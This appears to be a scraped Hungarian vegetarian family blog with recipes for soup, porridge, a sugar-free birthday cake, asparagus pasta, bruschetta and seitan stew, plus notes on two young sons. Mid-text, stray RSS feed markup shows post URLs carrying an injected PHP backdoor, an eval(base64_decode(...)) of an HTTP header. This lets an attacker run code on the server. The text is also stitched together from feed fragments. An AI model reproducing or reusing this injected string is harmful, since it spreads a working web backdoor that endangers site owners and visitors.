Hozzávalók

2 zacskó fagyasztott kelbimbó ( vagy  mégjobb friss)
1/2 szál gabonakolbász
1 db vöröshagyma
1 pohár tejföl
só,bors,vegamix,majoránna,pirospaprika

A hagymát apró kockákra vágom, majd egy kevés olajon megpárolom. Hozzáadom a gabonakolbászt egy picit együtt pirítom, megszórom pirospaprikával,  felöntöm vízzel, és fűszerezem. Amikor a kelbimbó megpuhult hozzáadom a tejfölt és egy kicsit összefőzőm. Levesbetétként nálunk a cérnametélt szokott belekerülni, de lehet csipetke, kagylótészta stb. is.

Mivel a férjem édesanyja vegán (semmilyen állati terméket nem fogyaszt) az ő részére a tejfölt helyettesítem vagy vegitejföllel vagy szójatejjel.

Együtt ünnepeltük meg Ábelt és Marcit., az ünnepségre meghívtuk a családot, és a közeli barátokat is. Sütöttünk két tortát a szülinaposoknak. A Buli nagyon jól sikerült mindenki jól érezte magát a gyerekek nagyon örültek az ajándékoknak, és jókat játszottak a tejtesókkal

Nehéz elhinni hogy Ábel már 4 éves….. Tényleg mintha most született volna. De ő már komoly fiú, óvodába jár, legjobb barátja van 29-es lába (te jó ég!!)110-116-os ruhákban jár, pedig nem is olyan régen vettem meg neki az első rugdalózót, kis cipőt, játékokat….. Nagyon szépen énekel sok mondókát tud szépen fogja a ceruzát rajzoláskor….nagyon nagy dumás néha csak dőlünk a nevetéstől olyan aranyköpései vannak

Hihetetlen hogy megy az idő.

Hozzávalók:

• Pehelykeverék

• szárított datolya

• Banán

• Méz

• Tej

• Fagyasztott gyümölcskeverék, vagy friss gyümölcsök

• mogyoró dió, kókuszreszelék

Tejben puhára főzzük a pelyheket, majd egy tálkában egymásra rétegezzük a banánt és a pehelykeveréket. A tetejére rákanalazzuk a fagyasztott gyümölcsöt (lehet nem fagyasztott is, de így télen ez egyszerűbb) ízesíthetjük szárított datolyával is ,így édesebb lesz és kevesebb méz szükséges hozzá. Díszíthetjük kókuszreszelékkel, darált dióval, mogyoróval.

Jó étvágyat

Ábel egy hónapja új óvodába jár. Úgy döntöttünk hogy  itthonról viszi az ebédet, így péntekenként megkapom a következő heti étlapot, és igyekszem megfőzni neki  ugyanazt amit a többiek esznek, csak hús nélkül. Az oviban nagyon keveset eszik így újabban kétszer ebédel. Egyszer az oviban és egyszer velünk itthon. Elég sok időmet elveszi így a főzés, de nem bánom. mert így sokkal nyugodtabb vagyok. Szeretném majd itt  közzé tenni a recepteket természetesen fényképekkel együtt.

]]> http://www.stef.hu/vegacsalad/2009/11/16/ujra-itt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://www.stef.hu/vegacsalad/2009/06/04/elso-szuletesnap/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.stef.hu/vegacsalad/2009/06/04/elso-szuletesnap/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 03 Jun 2009 23:38:41 +0000 Orsi http://www.stef.hu/vegacsalad/?p=177 Eltelt egy év…. Nagyon hamar telt el ez az egy év, és az én kis újszülöttemből komoly egy éves lett! Már majdnem jár, már tortát eszik, már szavakat mond, puszit ad, integet, rázza a fejét ha valamit nem szeretne, 86-os ruhát hord, már szandálja van, már egyéniség….. Egyre önállóbb. Pedig még csak egy éves. Ma végiggondoltam újra az egy évvel ezelőtt történteket. Téves riasztás, bizonytalanság: akkor induljunk a kórházba?, a fájdalmak, a várakozás, a kétségbeesés mikor kiderült, hogy ő is császárral születik, az ijedelem: nem sír, de mégis, aztán az óriási öröm: anyuka minden rendben, kisfiú és gyönyörű, most viszik ki a családhoz, de nemsokára visszahozzák. Az első pillantás ahogy rám néz az a “csepp” baba és én visszanézek rá. Isten hozott! Az első szoptatás, az első pelenkázás. Mikor végre hazajöhettünk és négyesben lehettünk.

Mindennek már egy éve…. Egész nap az órát figyeltem és emlékeztem épp akkor mi is történt, Ábel is kérdezte hogy született Marci és ő hogyan született …. Ezek után kijelentette hogy ő száz kistestvért szeretne. Ha nem is lesz száz kistestvére, remélem megadatik nekem, hogy legalább még egyszer átélhessem ezt a csodát.

Sokáig gondolkodtam a születésnapi tortán. Azt biztosan tudtam hogy mit NEM szeretnék bele tenni: cukor, tej.
Végül találtam egy nagyon jó receptet amit kicsit átalakítottam:

Marcipán első születésnapi tortája

Biotorta egyéveseknek

TEJ ÉS CUKORMENTES
Hozzávalók:

• 25 dkg (bio) mazsola

• 2 közepes nagyságú alma

• 7 dkg bio finomliszt

• 7 dkg bio grahamliszt

• 1 teáskanál sütőpor

• késhegynyi fahéj

• 2 tojássárgája

• 1 dl étolaj

Elkészítés:

A mazsolát forró vízbe áztatjuk hogy megpuhuljon, majd tésztaszűrőn lecsöpögtetjük, botmixerrel pépesítjük. A finomlisztet és a grahamlisztet összekeverjük egy teáskanál sütőporral vagy szódabikarbónával, valamint egy késhegynyi fahéjjal. Közben külön tálkában kikeverünk két tojássárgáját fokozatosan belecsurgatott étolajjal. A keveréket előbb a mazsolaturmixszal, majd a liszttel, végül a reszelt almával vegyítjük. Kiolajozott, kilisztezett 24 cm átmérőjű kerámia tortaformába simítjuk a masszát és forró sütőben tűpróbáig, kb. 30 percig sütjük. Miután kihűlt, tortalapát segítségével kiemeljük a sütőedényből. VÁLTOZAT: KAROBOS-MEGGYES LEPÉNY - A lisztes keverékbe még két teáskanál bio karobport is vegyítünk, az alma helyett pedig a tésztát a végén 10-15 dkg kisebb darabokra vágott meggyel dúsítjuk.

Az én változatom:

Olaj helyett én bio növényi vajat használtam, a mazsolát rizstejbe áztattam, a graham lisztet bio teljes kiörlésú liszttel helyettesítettem, és kapcsos tortaformában sütöttem meg a tésztát. Mikor megsült a torta, főztem egy adag tejbegrízt rizstejjel, ráöntöttem a tésztára és a grízbe belenyomkodtam meggyet, banánt, almát szépen körbe. Nagyon hasonlított a “sima” gyümölcstortára. Kicsit visszatettem a sütőbe, kb. 5 percre.

Az alapreceptet itt találtam http://erdivedonok.drupalcafe.com/node/;

Hozzávalók:

• 50 dkg tagliatelle (széles metélt)

• 30 dkg spárga

• 4 dkg vaj

• 1 evőkanál aprított friss petrezselyem

• 1 evőkanál aprított friss bazsalikom

• 3,2 dl tejszín

• só, bors

• 5 dkg frissen reszelt parmezánsajt+ egy kevés a tálaláshoz

Elkészítése:

A tésztát nagy fazék forró vízben rugalmasra főzzük. Lecsepegtetjük,visszatesszük az edénybe.
Amíg a tészta fő, a spárgát rövid darabokra vágjuk.
Közepes edényben felhevítjük a vajat, beletesszük a spárgát, és közepes lángon pirítjuk 2 percig, amíg megpuhul.

Hozzáadjuk az aprított petrezselymet és a bazsalikomot, valamint a tejszínt, sózzuk, borsozzuk. Elkeverjük és 2 percig főzzük.

Beleszórjuk a reszelt parmezánt, jól elkeverjük. Amikor kész, beletesszük a meleg tésztát és alaposan megkeverjük az egészet. Tálaláskor parmezánforgácsokkal díszítjük. Ez az adag 4 személy részére elegendő.

És akkor némi információ a spárgáról:

A spárga (magyar nevén csirág) egyike a legértékesebb növényeinknek. Étkezésre a föld alatti megvastagodott hajtásokat használjuk. Jól emészthető, rostokban, vitaminokban és ásványi anyagokban rendkívül gazdag. A görögök főként gyógyhatása miatt tartották becsben, kevésbé volt mindennapi eledel. Ételekhez először a rómaiak használták.

Fogfájásra, méhcsípés kezelésére alkalmazták, ismert volt vízhajtó hatása is, jó hatással van a vérkeringésre is. Segíti a szervezet méregtelenítését. Lúgos tartalma miatt fogyasztása ajánlott, elősegíti a vér sav-lúg egyensúlyát.

A hajtások A, B1, B2, C, valamint E vitamint, folsavat ezenkívül sok értékes aminosavat tartalmaznak. Kalóriatartalma csekély. Miután a hajtások nagy része, 93-95 százaléka víz, a maradék szárazanyag kevés kalóriát képvisel, 100 gramm spárgába mindössze 20 kalória szorult. Kifejezetten kevés benne a cukor, összesen 2 gramm szénhidrát van benne.
Tartalmaz kalciumot, foszfort, vasat, nátriumot, sok káliumot, a nyomelemek közül ónt, szilíciumot, molibdént.
A zöld spárga klorofillban gazdag, több benne a C-vitamin és a karotin, mint világos változatában, ezért táplálékként is értékesebb.

Marci még nem kapott tejterméket, glutén és cukor tartalmú ételeket. (eltekintve az elcsent dolgoktól de szerencsére eddig mindig időben odaértem) Az anyatej még mindig alap; naponta többször is követeli aludni csakis így hajlandó.

Mostanában legfőbb szponzorunk a jó idő támogatásának köszönhetően sok időt töltünk a kertben. Kertészkedünk, játszunk, nézelődünk és élvezzük a napsütést. Kicsi palántáink nagy része még nem alkalmas a kiültetésre, de a spárgatök egy ideje már kinn csücsü,l valamint elvetettük a sárgarépát, a fehérrépát, és a hagymát. Az eper virágzik már nagyon várjuk hogy érjen !

A napokban ha sikerül szép padlizsánt vennem szeretnék Bruschettát készíteni, amit egy olasz ismerősömnél ettem először és azóta bekerült a család kedvenc ételei közé. Nagyon könnyű elkészíteni, vitamindús és nem utolsósorban nagyon finom. Picit változtattam rajta, tehát ez nem az alaprecept.

Bruschetta

Hozzávalók:

• 1 db szép padlizsán

• 2-3 db paradicsom

• 1 fej vöröshagyma

• 3-4 gerezd fokhagyma

• olívaolaj

• 1 db citrom leve

• só

• bazsalikom (lehetőleg friss)

• teljes kiőrlésű kenyér

A vöröshagymát a padlizsánt és a paradicsomot kockákra vágjuk, fokhagymát présen átnyomjuk. Olívaolajon megpároljuk egy kicsit a vöröshagymát és a fokhagymát majd hozzáadjuk a padlizsánt. Enyhén megsózzuk és pirítjuk egy keveset.
Mikor már puhul a padlizsán hozzáadjuk a paradicsomot a citrom levét és a bazsalikomot egy kicsit összefőzzük. Akkor jó ha sem a padlizsán sem a paradicsom nem fő szét.
pirított kenyérre “kenve” tálaljuk

Vegetáriánus táplálkozási piramis

Hozzávalók:

• 2 nagyobb fej hagyma

• 4 gerezd fokhagyma

• pirospaprika

• 1db paradicsom

• 1 db paprika

• só

• vegamix

• olívaolaj

• szejtánvagy

• szejtánpor (búzasikér) és víz

A hagymát kockákra vágjuk (de nagyobbra is lehet hagyni ha úgy szeretjük) a fokhagymát fokhagymaprésen átnyomjuk. Olívaolajon megpároljuk. Eközben ha szejtánporunk van (búzasikér) összekeverjük vízzel (nem kell megijedni normális ha gumis az állaga)csak azt a vizmennyiséget veszi fel, ami kell neki. Miután összeállt szeletekre vágjuk és kiklopfoljuk laposra. a hagyma mellé tesszük és egy kicsit megpirítjuk. Hozzáadjuk a pirospaprikát majd felöntjük vízzel. Megsózzuk kicsi vegamixet teszünk bele és hozzáadjuk a paprikát,paradicsomot is. A vizet ha szükséges, pótolni kell alatta. Sokáig főzzük hogy a szejtán jól megpuhuljon, ne maradjon rágós.
lehet hozzá egy kevés vörösbort is önteni vagy hámozott darabolt paradicsomot esetleg mindkettőt, így kicsit különlegesebb lesz az íze. Köretként sóba-vízbe főtt krumplit esetleg petrezselymes krumplit szoktam hozzá készíteni.

Ha a szejtánt készen vesszük a főzési idő is rövidebb. A porból nem írtam mennyiséget, ez attól is függ hány személyre készül, de kb. egy 2 dl-es pohárnyi mennyiség elég két főre.